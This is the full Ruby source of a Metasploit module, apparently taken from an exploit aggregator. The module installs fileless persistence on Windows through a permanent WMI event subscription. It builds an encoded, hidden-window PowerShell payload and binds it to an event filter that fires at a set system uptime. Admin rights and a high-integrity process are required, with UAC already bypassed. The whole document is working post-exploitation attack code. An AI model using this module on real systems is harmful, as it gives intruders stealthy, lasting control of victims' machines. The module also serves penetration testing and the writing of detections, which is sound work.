Share
## https://sploitus.com/exploit?id=MSF:EXPLOIT-WINDOWS-PERSISTENCE-WMI-WMI_EVENT_SUBSCRIPTION_UPTIME-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = NormalRanking

  include Msf::Post::Windows::Powershell
  include Msf::Exploit::Powershell
  include Post::Windows::Priv
  include Msf::Post::File
  include Msf::Exploit::Local::Persistence
  include Msf::Exploit::Deprecated
  moved_from 'exploits/windows/local/wmi_persistence' # previously the "LOGON" wmi_persistence method

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'WMI Event Subscription Logon Timer Persistence',
        'Description' => %q{
          This module will create a permanent WMI event subscription to achieve file-less persistence using an event filter that
          will trigger the payload after the system has a certain uptime. Payloads will trigger every minute until the set end time.

          Additionally a custom command can be specified to run once the trigger is
          activated using the advanced option CustomPsCommand. This module requires administrator level privileges as well as a
          high integrity process. It is also recommended to use staged payloads due to powershell script length limitations.
        },
        'Author' => [
          'Nick Tyrer <@NickTyrer>', # original module
          'h00die' # docs, persistence mixin, pshell cleanup
        ],
        'License' => MSF_LICENSE,
        'Privileged' => true,
        'Platform' => 'win',
        'SessionTypes' => ['meterpreter'],
        'Targets' => [['Windows', {}]],
        'Arch' => [ARCH_X64, ARCH_X86, ARCH_AARCH64],
        'DisclosureDate' => '2017-06-06',
        'DefaultTarget' => 0,
        'References' => [
          ['URL', 'https://www.blackhat.com/docs/us-15/materials/us-15-Graeber-Abusing-Windows-Management-Instrumentation-WMI-To-Build-A-Persistent%20Asynchronous-And-Fileless-Backdoor-wp.pdf'],
          ['URL', 'https://learn-powershell.net/2013/08/14/powershell-and-events-permanent-wmi-event-subscriptions/'],
          ['ATT&CK', Mitre::Attack::Technique::T1546_EVENT_TRIGGERED_EXECUTION],
          ['ATT&CK', Mitre::Attack::Technique::T1546_003_WINDOWS_MANAGEMENT_INSTRUMENTATION_EVENT_SUBSCRIPTION]
        ],
        'Notes' => {
          'Reliability' => [EVENT_DEPENDENT, REPEATABLE_SESSION],
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS]
        }
      )
    )

    register_options([
      OptString.new('CLASSNAME',
                    [true, 'WMI event class name. (Default: UPDATER)', 'UPDATER' ]),
      OptInt.new('SYSTEM_UPTIME_START', [true, 'System uptime to start the trigger (In seconds). (Default: 240).', 240 ]), # 4min
      OptInt.new('SYSTEM_UPTIME_END', [true, 'System uptime to end the trigger (In seconds). (Default: 325).', 325 ]), # 5min 25sec
    ])

    register_advanced_options(
      [
        OptString.new('CustomPsCommand',
                      [false, 'Custom powershell command to run once the trigger is activated. (Note: some commands will need to be enclosed in quotes)', false, ]),
      ]
    )

    deregister_options('WritableDir')
  end

  def check
    return CheckCode::Safe('This module requires powershell to run') unless have_powershell?

    return CheckCode::Safe('This module requires admin privs to run') unless is_admin?

    return CheckCode::Safe('This module cannot run as System') if is_system?

    return CheckCode::Safe('This module requires UAC to be bypassed first') unless is_high_integrity?

    uptime = windows_uptime
    vprint_status("System uptime: #{uptime}s")
    return CheckCode::Safe("SYSTEM_UPTIME_START (#{datastore['SYSTEM_UPTIME_START']}) is less than the current system uptime: #{uptime}") if uptime > datastore['SYSTEM_UPTIME_START']
    return CheckCode::Safe("SYSTEM_UPTIME_START (#{datastore['SYSTEM_UPTIME_START']}) must be less than SYSTEM_UPTIME_END: #{datastore['SYSTEM_UPTIME_END']}") if datastore['SYSTEM_UPTIME_START'] > datastore['SYSTEM_UPTIME_END']

    CheckCode::Appears('Likely exploitable')
  end

  def windows_uptime
    # Run PowerShell to get boot time in WMI format
    boot_time_str = cmd_exec('powershell -Command "(gcim Win32_OperatingSystem).LastBootUpTime | Out-String"').strip

    # Try to parse PowerShell localized format (e.g. "Thursday, November 20, 2025 7:45:59 PM")
    begin
      boot_time = Time.parse(boot_time_str)
    rescue ArgumentError
      # Fallback: try WMI format like "20251120194559.500000-300"
      if boot_time_str =~ /^(\d{4})(\d{2})(\d{2})(\d{2})(\d{2})(\d{2})\.\d+\s*([+-]\d{3})?/
        year = ::Regexp.last_match(1)
        month = ::Regexp.last_match(2)
        day = ::Regexp.last_match(3)
        hour = ::Regexp.last_match(4)
        min = ::Regexp.last_match(5)
        sec = ::Regexp.last_match(6)
        tz_offset = ::Regexp.last_match(7)
        offset_hours = (tz_offset.to_i / 60)
        offset = format('%+03d:00', offset_hours)
        boot_time = Time.new(year, month, day, hour, min, sec, offset)
      else
        vprint_error("Unable to parse boot time: #{boot_time_str.inspect}")
        return 0
      end
    end

    (Time.now - boot_time).round
  end

  def install_persistence
    print_status('Installing Persistence...')

    psh_exec(subscription_logon)
    print_good 'Persistence installed!'
    # wmic will be removed Windows 11, version 25H2 or Windows 11, version 24H2 in favor of powershell
    # source https://support.microsoft.com/en-us/topic/windows-management-instrumentation-command-line-wmic-removal-from-windows-e9e83c7f-4992-477f-ba1d-96f694b8665d
    # @clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __EventFilter WHERE Name=\\\"#{name_class}\\\" DELETE\"\n"
    # @clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH CommandLineEventConsumer WHERE Name=\\\"#{name_class}\\\" DELETE\"\n"
    # @clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __FilterToConsumerBinding WHERE Filter='__EventFilter.Name=\\\"#{name_class}\\\"' DELETE\""
    name_class = datastore['CLASSNAME']
    @clean_up_rc << %(execute -H -f powershell -a "-Command \\\"Get-CimInstance -Namespace root/subscription -ClassName __EventFilter | Where-Object { $_.Name -eq '#{name_class}' } | ForEach-Object { Remove-CimInstance -InputObject $_  }\\\""\n)
    @clean_up_rc << %(execute -H -f powershell -a "-Command \\\"Get-CimInstance -Namespace root/subscription -ClassName CommandLineEventConsumer | Where-Object { $_.Name -eq '#{name_class}' } | ForEach-Object { Remove-CimInstance -InputObject $_  }\\\""\n)
    @clean_up_rc << %(execute -H -f powershell -a "-Command \\\"Get-CimInstance -Namespace root/subscription -ClassName __FilterToConsumerBinding WHERE Filter='__EventFilter.Name=\\\"#{name_class}' } | ForEach-Object { Remove-CimInstance -InputObject $_  }\\\""\n)
  end

  def build_payload
    if datastore['CustomPsCommand']
      script_in = datastore['CustomPsCommand']
      compressed_script = compress_script(script_in)
      encoded_script = encode_script(compressed_script)
      generate_psh_command_line(noprofile: true, windowstyle: 'hidden', encodedcommand: encoded_script)
    else
      cmd_psh_payload(payload.encoded, payload_instance.arch.first, encode_final_payload: true, remove_comspec: true)
    end
  end

  def subscription_logon
    command = build_payload
    class_name = datastore['CLASSNAME']
    <<-HEREDOC
    $Filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @{EventNamespace = 'root/cimv2'; Name = \"#{class_name}\"; Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= #{datastore['SYSTEM_UPTIME_START']} AND TargetInstance.SystemUpTime < #{datastore['SYSTEM_UPTIME_END']}\"; QueryLanguage = 'WQL'}
    $Consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments @{Name = \"#{class_name}\"; CommandLineTemplate = \"#{command}\"}
    $FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter = $Filter; Consumer = $Consumer}
    HEREDOC
  end
end